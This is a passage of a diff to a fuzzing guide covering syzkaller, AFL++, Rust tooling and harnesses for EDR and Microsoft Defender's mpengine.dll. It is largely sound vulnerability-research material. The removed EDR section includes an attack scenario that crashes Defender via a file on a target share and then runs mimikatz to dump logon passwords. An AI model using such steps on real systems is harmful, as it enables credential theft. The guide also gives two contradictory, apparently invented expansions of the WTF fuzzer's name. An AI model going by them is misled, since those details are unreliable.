-- Start fuzzing from the crafted corpus
-- Customize `kcov` or use cover filter for directed fuzzing
-- Extend grammar for better coverage
-- **External Network Fuzzing**:
- - **Packet Injection**: Utilize `TUN/TAP` virtual network devices to inject network packets from within the VM, allowing the kernel to process them as if they were received externally. This approach is compatible with syzkaller's architecture, which runs the fuzzer process inside the VM.
- - **Coverage Collection**: Employ `KCOV` to gather code coverage from the kernel's network packet parsing code. `KCOV` can be adapted to work with `TUN/TAP` to trace the execution paths taken during packet processing.
- - **Pseudo-syscalls**: Implement `syzkaller` pseudo-syscalls to manage network-related operations, such as packet injection and resource management (e.g., `syz_emit_ethernet` for sending packets, `syz_extract_tcp_res` for handling TCP sequence and acknowledgement numbers).
- - **Syscall Descriptions**: Create detailed `syzlang` descriptions for network protocols and packet structures to guide the fuzzer. This includes defining packet fields, checksums, and relationships between different protocol layers.
- - **Integration Challenges**:
- - **Checksums**: Implement logic to correctly calculate and update checksums for various protocols (IP, TCP, UDP, ICMP) as the fuzzer mutates packet data.
- - **TCP Connections**: Develop sequences of syscalls and pseudo-syscalls to establish and manage TCP connections, enabling fuzzing of stateful TCP communication.
- - **ARP Traffic**: Minimize or filter out ARP traffic to isolate the fuzzing of specific protocols and avoid interference.
- - **IPv6 Support**: Extend descriptions and logic to support IPv6, including handling extension headers and specific IPv6 features.
- - **Reading Code**: For understanding external network fuzzing implementation, refer to the original pull request in syzkaller and the current sources, focusing on `initialize_netdevices()`, `syz_emit_ethernet()`, and network protocol descriptions in `syzlang`.
- - **Upstream docs** – See `docs/external_fuzzing_network.md` in the syzkaller repo for checksum helpers and packet templates.
-
-#### Target Selection
-
-- Use syzbot coverage heatmap to identify subsystems with less-than-ideal coverage
-- Look for subsystems with coverage between 1-20% (completely uncovered might have good reasons)
-- Network subsystems are easier to fuzz than hardware-dependent ones
-- Check syzbot dashboard to identify promising targets and current fuzzing status
-
-#### Attack Surface Analysis
-
-- Analyze kernel code to understand the attack surface (e.g., examining netlink handlers)
-- Map out the available operations (e.g., socket operations, netlink commands)
-- Understand the code paths that process user inputs for targeted fuzzing
-
-#### Performance Optimization
-
-- Use hardware virtualization when possible for better performance
- - KVM on Linux, HVF on macOS can provide 3-5x speedup over TCG emulation
-- Adapt QEMU parameters to work with available accelerators
-
-#### Syzkaller Configuration and Setup
-
-- **Cross-Architecture Setup**:
- - When configuring on non-standard hosts (e.g., ARM64 Mac), compile the target elements (kernel, rootfs) natively on Linux VM
- - Go 1.23 fixes the internal linker, but you **still need `CROSS_COMPILE=`** when the kernel uses a non‑GNU tool‑chain.
- - Specify OS/arch pairs when compiling: `make HOSTOS=darwin HOSTARCH=arm64 TARGETOS=linux TARGETARCH=arm64`
- - Build `syz-executor` on a Linux machine and copy to your host if cross-compilation fails
-
-- **Kernel Module Fuzzing**:
- - Extract constants with `syz-extract` targeting specific syscall descriptions: `bin/syz-extract -os linux -sourcedir /path/to/linux -arch arm64 -build module_name.txt`
- - If extraction fails, manually compile programs to determine constant values
- - Use the obtained values to create/fix `.const` files for your module
-
-- **Configuration File Example**:
-
- ```json
- {
- "name": "QEMU-aarch64",
- "target": "linux/arm64",
- "http": ":56700",
- "workdir": "/path/to/workdir",
- "kernel_obj": "/path/to/kernel",
- "syzkaller": "/path/to/syzkaller",
- "image": "/path/to/rootfs.ext3",
- "sshkey": "/path/to/id_rsa",
- "procs": 8,
- "enable_syscalls": ["openat$module_name", "ioctl$IOCTL_CMD", "mmap"],
- "type": "qemu",
- "vm": {
- "count": 4,
- "qemu": "/path/to/qemu-system-aarch64",
- "cmdline": "console=ttyAMA0 root=/dev/vda",
- "kernel": "/path/to/Image",
- "cpu": 2,
- "mem": 2048
- }
- }
- ```
-
-#### Kernel fuzzing practicalities
-
-- Use `KCFI` and `KASAN` builds for safer fuzzing; `CONFIG_DEBUG_INFO_BTF=y` helps symbolization.
-- Prefer TUN/TAP packet injection over raw sockets for stable replay.
-- Stabilize coverage with `kcov` filters and `syz_cover_filter`.
-
-- **Performance Considerations**:
- - For ARM64 Macs, thermal throttling can significantly reduce execution rates
- - Monitor execution rates for performance degradation
- - VM acceleration and hardware features can improve performance
- - Consider using Hardware Tag-Based KASAN for better performance vs. coverage tradeoff
- - **Linux 6.8+ configs**
- - Enable: `CONFIG_KASAN=y` (or HWASAN on AArch64), `CONFIG_KCSAN=y`, `CONFIG_UBSAN=y`, `CONFIG_KCFI=y`, `CONFIG_DEBUG_INFO_BTF=y`.
- - Prefer `CONFIG_KFENCE=n` during fuzzing; enable later to confirm bugs.
-
-### AFL
-
-- Crafting high quality harness
- - identify existing harnesses [oss-fuzz](https://github.com/google/oss-fuzz)
- - adapt and enhance for your fuzzing objectives
-- Corpus
- - use `afl-tmin` and `afl-cmin` to tune corpus dynamically
-- Code Coverage
- - use `afl-cov` to understand the code coverage
- - then analyze and fine tune your harness
- - and optimize your test corpus based on coverage feedback
-- Efficient Crash Triage
- - use [AFLTriage](https://github.com/quic/AFLTriage) and [AddressSanitizer](https://github.com/google/sanitizers/wiki/addresssanitizer)
- - try `afl-collect` / `afl-plot` and enable `ASAN_OPTIONS=abort_on_error=1:symbolize=1`
-
-#### Modern AFL++ tips
-
-- Use `-M`/`-S` for parallel fuzzer instances; combine `-c 0` (cmplog) on some slaves.
-- Persistent mode (`__AFL_LOOP(N)`) for hot loops; in‑process fuzzing with `afl++-unicorn` for emulated targets.
-- Dictionaries (`-x`) and `laf-intel`/`split-switches` to simplify hard conditions at compile time.
-
-### MacOS
-
-#### IPC Fuzzing
-
-- We can mutate and fuzz the message that `mach_msg` is sending
- - Simple to do but slow
- - Hard to determine which process caused the crash
- - Hard to identify code coverage
-- We can directly send a message to Target message handler(skipping kernel)
- - Very fast and easy to instrument
- - Easy to understand what caused the crash
- - but Different from end exploit, might need to invoke initialization routines
-- Write a Fuzzing harness
-
-```c
-void *lib_handle = dlopen("libexample.dylib", RTLD_LAZY);
-pFunction = dlsym(lib_handle, "DesiredFunction");
-```
-
-### EDR
-
-#### EDR Attack Surface Overview
-
-EDR solutions present a significant attack surface due to their complex architecture:
-
-**Potential vulnerability categories:**
-
-- Memory corruptions in file scanning & emulation (e.g., CVE-2021-1647)
-- Arbitrary file deletion via symlink vulnerabilities
-- User-Mode IPC authorization issues or memory corruptions
-- User-to-driver authorization bypass
-- Classic driver vulnerabilities (WDM, KMDF, Mini-Filter)
-- Server-to-agent authentication flaws
-- Parsing bugs in server responses
-- Classic Windows application vulnerabilities (DLL hijacking, file permissions)
-- Emulation/sandbox escapes
-- Logic bugs in security implementations
-
-#### Microsoft Defender's Scanning Engine (mpengine.dll)
-
-Microsoft Defender includes a local analysis engine `mpengine.dll` that performs static checks and uses emulation environments for different file types. This engine presents a significant attack surface due to its complexity and the variety of file formats it processes.
-
-**Target Characteristics:**
-
-- Installed by default on Windows systems
-- Runs as SYSTEM with high privileges
-- Has 1-click remote attack surface through file scanning
-- Processes numerous file formats with complex parsing logic
-- Prone to memory corruption vulnerabilities
-
-**Fuzzing Methodology:**
-
-_Snapshot Fuzzing with WTF:_
-
-- Uses Windows Terminal Framework for coverage-guided fuzzing
-- Takes snapshots after Defender initiates file scanning
-- Maintains identical configuration to real environment
-- Avoids limitations of manual engine bootstrapping
-
-_Alternative Approaches:_
-
-- **kAFL/NYX**: Additional fuzzing frameworks tested
-- **Jackalope**: Cross-platform coverage-guided fuzzer
-- **Manual harness**: Historic approach using `RSIG_BOOTENGINE` and `RSIG_SCAN_STREAMBUFFER`
-
-**Practical Attack Scenarios:**
-
-_Web-based DoS:_
-
-```html
-<!-- Crash Defender via malicious file download -->
-<a href="crash.pdf">Download PDF</a>
-<!-- Crashes MsMpEng.exe when file is scanned -->
-```
-
-_Network Share DoS:_
-
-```powershell
-# Upload crash file to SMB share before credential dumping
-copy crash.doc \\target\share\
-# Defender crashes when scanning uploaded file
-mimikatz.exe privilege::debug sekurlsa::logonpasswords
-```
-
-**Fuzzing Setup Requirements:**
-
-_Snapshot Creation:_
-
-```cpp
-// Example WTF harness setup
-if (!g_Backend->SetBreakpoint("nt!KeBugCheck2", [](Backend_t *Backend) {
- const uint64_t BCode = Backend->GetArg(0);
- const std::string Filename = fmt::format("crash-{:#x}", BCode);
- Backend->Stop(Crash_t(Filename));
-}))
-```
-
-_Coverage Analysis:_
-
-- Use IDA Lighthouse for visualization
-- Monitor for DRIVER_VERIFIER_DETECTED_VIOLATION (0xc4)
-- Track IRQL_NOT_LESS_OR_EQUAL (0xa) crashes
-
-**Defense Implications:**
-
-- Demonstrates need for robust input validation
-- Shows importance of crash recovery mechanisms
-- Highlights risks of complex file parsing engines
-- Suggests value of sandboxing scanning processes
-
-##### Cross-platform mpengine.dll Fuzzing
-
-Recent advances enable fuzzing the latest Windows Defender engine (v1.1.25020.1007) on Linux using **loadlibrary** with Intel PT coverage:
-
-```cpp
-// Disable Lua VM to avoid stability issues
-void my_lua_exec(){
- return;
-}
-
-int main(int argc, char** argv){
- // Hook luaV_execute to bypass Lua signature processing
- insert_function_redirect((void*)luaV_execute_address, my_lua_exec, HOOK_REPLACE_FUNCTION);
-
- // Setup persistent fuzzing loop
- for (;;) {
- size_t len;
- uint8_t *buf;
- HF_ITER(&buf, &len);
-
- ScanDescriptor.UserPtr = fmemopen(buf, len, "r");
-
- if (__rsignal(&KernelHandle, RSIG_SCAN_STREAMBUFFER, &ScanParams, sizeof ScanParams) != 0) {
- // Handle scan results
- }
- }
-}
+NYX_MODE=1 AFL_MAP_SIZE=1048576 afl-fuzz -i seeds -o findings -- ./target_nyx @@
```
-##### Performance Optimizations
-
-- **Persistent Mode**: Eliminates initialization overhead, achieving hundreds of exec/s
-- **Intel PT Coverage**: Hardware-based tracing for binary-only targets
-- **Lua VM Bypassing**: Reduces crashes and focuses on native code vulnerabilities
-
-##### honggfuzz with Intel PT Setup
-
+**Ensemble (AFL++ + Honggfuzz sharing corpus):**
```bash
-# Non-persistent mode (slower, ~4s/execution)
-../honggfuzz/honggfuzz -i ~/input/ -W ~/workspace/ --linux_perf_ipt_block -t 10 -- ./mpclient_x64 ___FILE___
-
-# Persistent mode (faster, hundreds/sec)
-../honggfuzz/honggfuzz -i ~/input/ -W ~/workspace/ --linux_perf_ipt_block -t 10 -- ./mpclient_x64_persistent
-```
-
-##### Common Issues and Solutions
-
-- **Cache Files**: Mock `mpcache-*` file access to return NULL handles for 2025+ engines
-- **Path Normalization**: Use absolute paths (e.g., `C:\input` vs `input`) to avoid Lua failures
-- **Floating Point Exceptions**: Often originate from .NET emulator, require debugging
-
-##### Lua VM Analysis and Bypassing
-
-_Understanding Defender's Lua Implementation:_
-
-Microsoft Defender uses Lua 5.1.5 for signature implementation, with native functions exposed through `MpCommon` and `mp` tables:
-
-```lua
--- Example signature logic that can fail
-local l_0_0 = ((MpCommon.PathToWin32Path)((mp.getfilename)(mp.FILEPATH_QUERY_FULL))):lower()
--- Calls native LsaMpCommonLib::PathToWin32Path() function
+# Terminal 1
+afl-fuzz -M fuzzer1 -i seeds -o sync_dir -- ./target @@
+# Terminal 2
+../honggfuzz/honggfuzz -i sync_dir/fuzzer1/queue -W sync_dir/hfuzz \
+ --linux_perf_ipt_block -t 10 -- ./target ___FILE___
```
-_Debugging Lua Execution:_
-
-```cpp
-// Hook luaV_execute main execution loop
-75a16bbdc 4c 8b f1 MOV R14,RCX ; R14 := lua_state
-75a16bbdf 49 8b 46 28 MOV RAX,qword ptr [R14 + 0x28]
-75a16bbe3 4d 8b 66 30 MOV R12,qword ptr [R14 + 0x30] ; R12 := state->savedpc
-75a16bc07 41 8b 1c 24 MOV EBX,dword ptr [R12] ; EBX := Lua instruction (4 bytes)
-
-// Common failure point in luaV_gettable()
-if ((lua_TValue *)callinfo[2] <= key_scalar_val) {
- luaG_runerror(state,"attempt to %s a %s value","index",type_name);
- // "attempt to index a nil value" - throws C++ exception
-}
-```
+### 6. Monitor and Unstick
-_Signature Extraction and Analysis:_
+If progress stalls:
+- Enable CmpLog: `-c 0` on AFL++ secondaries
+- Add dictionary: `-x dict.txt` or `AFL_TOKEN_FILE`
+- Switch to directed fuzzing (AFLGo) targeting specific BBs/functions
+- Use concolic assistance (QSYM, Driller) on hard branches
+- Snapshot the target to increase exec/s
+- `AFL_MAP_SIZE=1048576`, `-L 0` for MOpt scheduler
-- Use **commial's scripts** to decompress .VDM signature files
-- **luadec** for full decompilation with restored headers
-- **LuaPytecode** for low-level bytecode analysis
+### 7. Triage Crashes
```bash
-# Extract VDM contents and analyze bytecode
-python extract_vdm.py defender.vdm
-luadec extracted_bytecode.luac
+# 1. Minimize
+afl-tmin -i crash -o crash.min -- ./target @@
+# 2. Symbolize
+ASAN_OPTIONS=abort_on_error=1:symbolize=1 ./target crash.min 2>asan.log
+# 3. Hash + bucket
+./cov-tool --bbids ./target crash.min > cov.hash
+./bucket.py --key "$(cat cov.hash)" --log asan.log --out triage/
```
-_Bypassing Strategy:_
-
-Replace Lua execution entirely to focus on native code vulnerabilities while maintaining unpacker functionality:
-
-```cpp
-// Complete Lua bypass - maintains unpacker execution
-void my_lua_exec(){
- return; // Skip all signature processing
-}
-
-// Alternative: Selective bypassing for specific functions
-if (lua_function_name == "problematic_signature") {
- return; // Skip only problematic signatures
-}
+**Sanitizer env quick reference:**
```
-
-#### Fuzzing Scanning Engines
-
-**Setting Up WTF (WhatsApp Trace Framework) for EDR Fuzzing:**
-
-```cpp
-// Basic WTF harness for mpengine.dll fuzzing
-#include "wtf.h"
-
-// Crash handler for detecting vulnerabilities
-if (!g_Backend->SetBreakpoint("nt!KeBugCheck2", [](Backend_t *Backend) {
- const uint64_t BugCode = Backend->GetArg(0);
- const uint64_t Parameter1 = Backend->GetArg(1);
-
- // Log crash details
- const std::string Filename = fmt::format("crash-{:#x}-{:#x}", BugCode, Parameter1);
- DebugPrint("Crash detected: {} (BugCode: {:#x})\n", Filename, BugCode);
-
- Backend->Stop(Crash_t(Filename));
-})) {
- DebugPrint("Failed to set crash breakpoint\n");
- return false;
-}
-
-// Monitor specific crash types
-g_Backend->SetBreakpoint("nt!KeBugCheckEx", CrashHandler);
+ASAN_OPTIONS=abort_on_error=1:symbolize=1:detect_stack_use_after_return=1
+UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1
+TSAN_OPTIONS=halt_on_error=1:history_size=7
+MSAN_OPTIONS=poison_in_dtor=1:track_origins=2
```
-**Snapshot Positioning for Microsoft Defender:**
+## Oracle Selection
-```powershell
-# Trigger file scan via MpCmdRun.exe
-MpCmdRun.exe -Scan -ScanType 3 -File "C:\test\target.exe"
+| Bug Class | Oracle |
+|-----------|--------|
+| Memory safety | ASan, HWASan (AArch64, lower overhead) |
+| Uninitialized reads | MSan |
+| Concurrency | TSan |
+| Undefined behavior | UBSan |
+| Type safety | TypeSan |
+| Heap hardening | Scudo Hardened Allocator |
+| Logic bugs | Differential / idempotency oracles |
+| Kernel memory | KASAN, KMSAN, KCSAN |
+| Kernel UB | KUBSan (`CONFIG_UBSAN_TRAP=y`) |
+| CFI | KCFI (`-fsanitize=kcfi`, Clang 18) |
+| Binary-only | QASAN (QEMU+ASan), DynamoRIO |
-# Alternative: Use Explorer context menu scan
-# Right-click -> "Scan with Microsoft Defender"
+**Property oracle patterns:**
+- Idempotency: `f(x) == f(f(x))`
+- Differential: compare two impls, bucket on output mismatch
+- Invariants: monotonic lengths, checksum equality, schema validation post-parse
-# Monitor for scanning process start
-Get-Process | Where-Object {$_.ProcessName -eq "MsMpEng"}
-```
+## Specialized Targets
-**WTF Configuration Example:**
+### Kernel (Linux) — syzkaller
```json
{
- "snapshot_path": "defender_scan.dmp",
- "backend": "bochscpu",
- "target": "mpengine.dll",
- "max_iterations": 1000000,
- "timeout": 30,
- "coverage_breakpoints": [
- "mpengine!UfsScannerWrapper::ScanFile",
- "mpengine!pefile_scan_mp",
- "mpengine!macho_scanfile"
- ]
+ "target": "linux/arm64",
+ "http": ":56700",
+ "workdir": "/path/to/workdir",
+ "kernel_obj": "/path/to/kernel",
+ "image": "/path/to/rootfs.ext3",
+ "sshkey": "/path/to/id_rsa",
+ "procs": 8,
+ "enable_syscalls": ["openat$module_name", "ioctl$IOCTL_CMD", "mmap"],
+ "type": "qemu",
+ "vm": { "count": 4, "cpu": 2, "mem": 2048 }
}
```
-**Alternative Fuzzing Frameworks:**
-
-_kAFL/NYX Setup:_
+- Limit `enable_syscalls` to deepen coverage on specific subsystems
+- Use `syz-extract` to pull constants for custom modules
+- Enable `CONFIG_KASAN=y`, `CONFIG_KCFI=y`, `CONFIG_DEBUG_INFO_BTF=y`
+- Use `kcov` filters and `syz_cover_filter` to direct coverage
+- Network fuzzing: inject via `TUN/TAP` + pseudo-syscalls (`syz_emit_ethernet`)
+- Crash decode: `./scripts/decode_stacktrace.sh vmlinux ... < dmesg.log`
+**syzkaller repro:**
```bash
-# Install kAFL dependencies
-git clone https://github.com/IntelLabs/kAFL.git
-cd kAFL
-./install.sh
-
-# Create fuzzing target
-python kafl_fuzz.py \
- --memory 2048 \
- --input corpus/ \
- --work-dir workdir/ \
- --seed-dir seeds/ \
- --target targets/mpengine_target.py
-```
-
-_Jackalope Configuration:_
-
-```python
-# Jackalope harness for EDR fuzzing
-import jackalope
-
-# Initialize fuzzer
-fuzzer = jackalope.TargetFuzzer(
- target_binary="MpCmdRun.exe",
- target_args=["-Scan", "-ScanType", "3", "-File", "@@"],
- coverage_type="drcov",
- target_timeout=30000
-)
-
-# Add input corpus
-fuzzer.add_corpus_dir("corpus/")
-
-# Start fuzzing
-fuzzer.fuzz()
-```
-
-**Coverage Analysis Tools:**
-
-_IDA Lighthouse Integration:_
-
-```python
-# Load WTF traces in IDA with Lighthouse
-import lighthouse
-lighthouse.load_coverage_file("wtf_coverage.log")
-lighthouse.coverage.show_coverage()
+syz-execprog -repeat=0 -procs=1 -cover=0 -debug target.repro
```
-_Dynamic Analysis with Tenet:_
-
-```python
-# Time-travel debugging with Tenet
-import tenet
-trace = tenet.load_trace("wtf_trace.log")
-trace.seek_to_address(0x7ffcdbb6e1e7) # OOB read location
-```
-
-**File Format Corpus Building:**
-
-```powershell
-# Collect diverse file samples for fuzzing
-$formats = @("*.exe", "*.dll", "*.pdf", "*.docx", "*.xlsx", "*.js", "*.vbs")
-$corpus_dir = "C:\fuzzing\corpus\"
-
-foreach ($format in $formats) {
- Get-ChildItem -Path "C:\Windows\System32" -Filter $format -Recurse |
- ForEach-Object { Copy-Item $_.FullName "$corpus_dir\$($_.Name)" }
-}
-
-# Add malware samples (use VirusTotal/MWDB)
-# Add crafted samples with known vulnerabilities
-```
-
-**Debugging Crashes:**
-
-```windbg
-# WinDBG analysis of mpengine crashes
-.load wow64exts
-!analyze -v
-
-# Check for DRIVER_VERIFIER_DETECTED_VIOLATION (0xc4)
-!verifier
-
-# Examine call stack for OOB reads
-k
-!address @rax # Check if address is valid
+### EDR / Windows Scanning Engines
-# PageHeap analysis for heap corruption
-!heap -p -a @rax
+**WTF snapshot harness skeleton (mpengine.dll / mini-filter):**
+```cpp
+g_Backend->SetBreakpoint("nt!KeBugCheck2", [](Backend_t *Backend) {
+ const uint64_t BCode = Backend->GetArg(0);
+ Backend->Stop(Crash_t(fmt::format("crash-{:#x}", BCode)));
+});
```
-#### Driver Interface Fuzzing
-
-**FilterConnectionPort Fuzzing:**
-
+**FilterConnectionPort fuzzing:**
```cpp
-// Sophos Intercept X port fuzzing example
-#include <windows.h>
-#include <fltuser.h>
-
HANDLE hPort;
-HRESULT hr = FilterConnectCommunicationPort(
- L"\\SophosPortName",
- 0,
- NULL,
- 0,
- NULL,
- &hPort
-);
-
-if (SUCCEEDED(hr)) {
- // Send malformed messages
- BYTE fuzzData[1024];
- DWORD bytesReturned;
-
- for (int i = 0; i < 10000; i++) {
- // Generate mutated data
- GenerateFuzzData(fuzzData, sizeof(fuzzData));
-
- FilterSendMessage(
- hPort,
- fuzzData,
- sizeof(fuzzData),
- NULL,
- 0,
- &bytesReturned
- );
- }
-}
+FilterConnectCommunicationPort(L"\\PortName", 0, NULL, 0, NULL, &hPort);
+FilterSendMessage(hPort, fuzzData, sizeof(fuzzData), NULL, 0, &bytesReturned);
```
-**IOCTL Fuzzing:**
-
+**IOCTL fuzzing pattern:**
```cpp
-// EDR device driver IOCTL fuzzing
-#include <winioctl.h>
-
-HANDLE hDevice = CreateFile(
- L"\\\\.\\PaloEdrControlDevice",
- GENERIC_READ | GENERIC_WRITE,
- 0,
- NULL,
- OPEN_EXISTING,
- 0,
- NULL
-);
-
-if (hDevice != INVALID_HANDLE_VALUE) {
- DWORD bytesReturned;
- BYTE inputBuffer[4096];
- BYTE outputBuffer[4096];
-
- // Fuzz different IOCTL codes
- DWORD ioctlCodes[] = {
- 0x2260D0, 0x2260D4, 0x2260D8, 0x2260DC,
- // Add more discovered codes
- };
-
- for (DWORD ioctl : ioctlCodes) {
- for (int i = 0; i < 1000; i++) {
- GenerateFuzzData(inputBuffer, sizeof(inputBuffer));
-
- DeviceIoControl(
- hDevice,
- ioctl,
- inputBuffer,
- sizeof(inputBuffer),
- outputBuffer,
- sizeof(outputBuffer),
- &bytesReturned,
- NULL
- );
- }
- }
-}
+HANDLE hDev = CreateFile(L"\\\\.\\DeviceName", GENERIC_READ|GENERIC_WRITE, ...);
+DeviceIoControl(hDev, ioctlCode, inputBuf, inputLen, outBuf, outLen, &ret, NULL);
```
-#### Mini-Filter Communication Port Fuzzing
-
-**Snapshot fuzzing approach:**
-
-- Target FilterConnectionPorts with malformed messages
-- Use tools like WTF (WhatsApp Trace Framework) for coverage-guided fuzzing
-- Focus on message parsing logic in mini-filter drivers
-
-**WTF Snapshot Fuzzing Implementation:**
+- Take snapshots after initialization, right before parse/dispatch loop
+- Use IDA Lighthouse for coverage visualization
+- Monitor: `DRIVER_VERIFIER_DETECTED_VIOLATION (0xc4)`, `IRQL_NOT_LESS_OR_EQUAL (0xa)`
+- WinDbg: `.symfix; !analyze -v; k; !heap -p -a @rax`
+**Cross-platform mpengine.dll on Linux (loadlibrary + HF_ITER + Intel PT):**
```cpp
-// Example WTF harness for mini-filter fuzzing
-if (!g_Backend->SetBreakpoint("nt!KeBugCheck2", [](Backend_t *Backend) {
- const uint64_t BCode = Backend->GetArg(0);
- const uint64_t B0 = Backend->GetArg(1);
- // Log crash details for analysis
- const std::string Filename = fmt::format("crash-{:#x}-{:#x}", BCode, B0);
- DebugPrint("KeBugCheck2: {}\n\n", Filename);
- Backend->Stop(Crash_t(Filename));
-}))
+// Bypass Lua VM to avoid stability issues
+insert_function_redirect((void*)luaV_execute_address, my_lua_exec, HOOK_REPLACE_FUNCTION);
+for (;;) {
+ HF_ITER(&buf, &len);
+ ScanDescriptor.UserPtr = fmemopen(buf, len, "r");
+ __rsignal(&KernelHandle, RSIG_SCAN_STREAMBUFFER, &ScanParams, sizeof ScanParams);
+}
```
-**Fuzzing Setup Process:**
-
-1. **Snapshot Creation**: Create snapshot at FilterConnectionPort message handling entry point
-2. **Coverage Collection**: Use IDA Lighthouse to visualize code coverage from fuzzing
-3. **Crash Analysis**: Monitor for DRIVER_VERIFIER_DETECTED_VIOLATION (0xc4) and IRQL_NOT_LESS_OR_EQUAL (0xa) bug checks
-4. **False Positive Handling**: Address snapshot IRQL inconsistencies where CR8 register stores interrupted state rather than actual IRQL
-
-**Debugging Techniques:**
-
-- **Tenet Integration**: Load WTF traces in IDA for time-travel debugging capability
-- **ret-sync**: Synchronize WinDBG with IDA for live vs. snapshot execution comparison
-- **Memory Access Monitoring**: Use breakpoints on `nt!ProbeForRead`/`nt!ProbeForWrite` to track pointer validation
-
-### ETC
-
-### Rust Fuzzing & UB Hunting
-
-Rust's memory safety guarantees don't eliminate all bugs; `unsafe` blocks, FFI boundaries, and logic errors still need fuzzing.
-
-#### Complete Rust Fuzzing Stack
-
-**1. cargo-fuzz (libFuzzer integration)**
+### Rust
```bash
-cargo install cargo-fuzz
-cargo fuzz init
-RUSTFLAGS="-Zsanitizer=address" RUSTC_BOOTSTRAP=1 cargo fuzz run fuzz_target_1
-
-# With coverage tracking
-RUSTFLAGS="-Zsanitizer=address -C instrument-coverage" cargo fuzz coverage fuzz_target_1
-llvm-cov show target/coverage/debug/fuzz_target_1 \
- -instr-profile=fuzz-coverage.profdata -format=html > coverage.html
+# Full Rust fuzzing pipeline
+cargo test # 1. property tests
+cargo +nightly miri test # 2. UB via interpreter
+cargo +nightly careful test # 3. runtime bounds checks
+cargo fuzz run fuzz_target_1 -- -max_total_time=3600 # 4. libFuzzer crashes
+RUSTFLAGS="--cfg loom" cargo test --release # 5. concurrency (if needed)
+cargo fuzz coverage fuzz_target_1 # 6. coverage report
```
-**2. cargo-careful (Nightly Bounds Checking)**
+Focus unsafe blocks on: `Vec::from_raw_parts`, unchecked indexing, `transmute` size mismatches, pointer arithmetic, FFI integer truncation.
-Catches UB that Miri misses, particularly in `std` and runtime edge cases:
+### Embedded / Binary-Only
-```bash
-cargo install cargo-careful
-cargo +nightly careful test
-cargo +nightly careful run --release
+- **LibAFL**: Modular Rust framework; Unicorn engine, snapshot module, LBRFeedback (zero-instrumentation on Intel), SAND decoupled sanitization
+- **Retrowrite / QASAN**: Binary rewriting for coverage + ASan without source
+- **Nautilus**: Grammar-based fuzzing for structured formats
-# Example: catches out-of-bounds that compile-time checks miss
-# unsafe { slice.get_unchecked(idx) } with runtime bounds violations
-```
+### Language Ecosystems
-**3. Miri (Interpreter-Based UB Detection)**
+- **Go 1.18+**: `go test -fuzz=Fuzz -run=^$ ./...`
+- **Python**: [Atheris](https://github.com/google/atheris) (CPython native extension fuzzing)
+- **Rust**: `cargo-fuzz` or `honggfuzz-rs`
+- **JS engines**: Fuzzilli with extended instrumentation (`__builtin_return_address(0)` for PC tracking)
+- **Wasm runtimes**: `wasmtime-fuzz`, `wafl` for differential fuzzing across V8/Wasmer/Wasmtime
+- **Smart contracts**: Echidna, Foundry-fuzz (Solidity); Move-Fuzz (Aptos/Sui)
-```bash
-cargo +nightly miri setup
-MIRIFLAGS="-Zmiri-strict-provenance -Zmiri-symbolic-alignment-check" cargo +nightly miri test
+## CI/CD Integration
-# Advanced: track specific allocations
-MIRIFLAGS="-Zmiri-track-alloc-id=1234" cargo +nightly miri test
+```yaml
+- name: Build with afl-clang-fast
+ run: CC=afl-clang-fast make -j
+- name: Fuzz (smoke, 15 min)
+ run: timeout 15m afl-fuzz -i seeds -o findings -- ./target @@ || true
+- name: Upload crashes
+ if: always()
+ uses: actions/upload-artifact@v4
+ with:
+ path: findings/**/crashes/*
```
-**4. loom (Concurrency Bug Detection)**
-
-For testing lock-free data structures and concurrent code:
-
-```rust
-// Example loom test for concurrent queue
-#[cfg(loom)]
-#[test]
-fn test_concurrent_queue() {
- loom::model(|| {
- let queue = Arc::new(Queue::new());
- let q1 = queue.clone();
- let q2 = queue.clone();
-
- let t1 = loom::thread::spawn(move || {
- q1.push(1);
- });
+Use **ClusterFuzzLite** for persistent continuous fuzzing; cache corpora between runs.
- let t2 = loom::thread::spawn(move || {
- q2.pop()
- });
-
- t1.join().unwrap();
- t2.join().unwrap();
- });
-}
-```
+## Crash Analysis Quick Reference
+**Linux:**
```bash
-# Run loom tests
-RUSTFLAGS="--cfg loom" cargo test --release
-```
-
-**5. proptest (Property-Based Fuzzing)**
-
-Generate arbitrary inputs for property testing:
-
-```rust
-use proptest::prelude::*;
-
-proptest! {
- #[test]
- fn test_parser_doesnt_panic(s in "\\PC*") {
- // Property: parser should never panic on any input
- let _ = std::panic::catch_unwind(|| {
- parse_input(&s)
- });
- }
-
- #[test]
- fn test_serialization_roundtrip(data: Vec<u8>) {
- // Property: deserialize(serialize(x)) == x
- let serialized = serialize(&data);
- let deserialized = deserialize(&serialized).unwrap();
- prop_assert_eq!(data, deserialized);
- }
-}
-```
-
-#### Rust-Specific Vulnerability Classes
-
-**Unsafe Block Vulnerabilities:**
-
-```rust
-// Common patterns to fuzz:
-unsafe {
- // 1. Vec::from_raw_parts with wrong capacity
- Vec::from_raw_parts(ptr, len, wrong_capacity)
-
- // 2. Unchecked indexing
- slice.get_unchecked(oob_idx)
-
- // 3. Transmute with size mismatch
- std::mem::transmute::<SmallType, LargeType>(val)
-
- // 4. Pointer arithmetic
- ptr.offset(unchecked_offset)
-}
+ulimit -c unlimited && sysctl -w kernel.core_pattern=core.%e.%p
+gdb -q ./target core.* -ex 'bt' -ex 'info reg' -ex q
+addr2line -e ./target 0xDEADBEEF
```
-**FFI Boundary Bugs:**
-
-```rust
-// Fuzz C library calls
-#[no_mangle]
-pub extern "C" fn parse_external(data: *const u8, len: usize) {
- unsafe {
- // Size mismatch between Rust and C types
- let c_struct: CStruct = libc_parse(data, len as c_int); // Truncation!
- }
-}
+**Windows:**
+```powershell
+# Enable local dumps
+New-Item 'HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps' -Force
+# PageHeap
+gflags /p /enable target.exe /full
```
-#### Comprehensive Rust Fuzzing Workflow
-
+**Kernel KASAN/KMSAN:**
```bash
-# 1. Start with property tests (fast)
-cargo test
-
-# 2. Run Miri on test suite (catches UB)
-cargo +nightly miri test
-
-# 3. Add cargo-careful for runtime bounds checks
-cargo +nightly careful test
-
-# 4. Fuzz with cargo-fuzz (find crashes)
-cargo fuzz run fuzz_target_1 -- -max_total_time=3600
-
-# 5. Test concurrency with loom (if applicable)
-RUSTFLAGS="--cfg loom" cargo test --release
-
-# 6. Coverage analysis
-cargo fuzz coverage fuzz_target_1
-```
-
-#### Integration with LibAFL (Advanced)
-
-For Rust projects needing custom fuzzing logic:
-
-```rust
-use libafl::prelude::*;
-
-// Custom Rust fuzzer with LibAFL
-let mut harness = |input: &BytesInput| {
- let data = input.bytes();
- ExitKind::Ok
-};
-
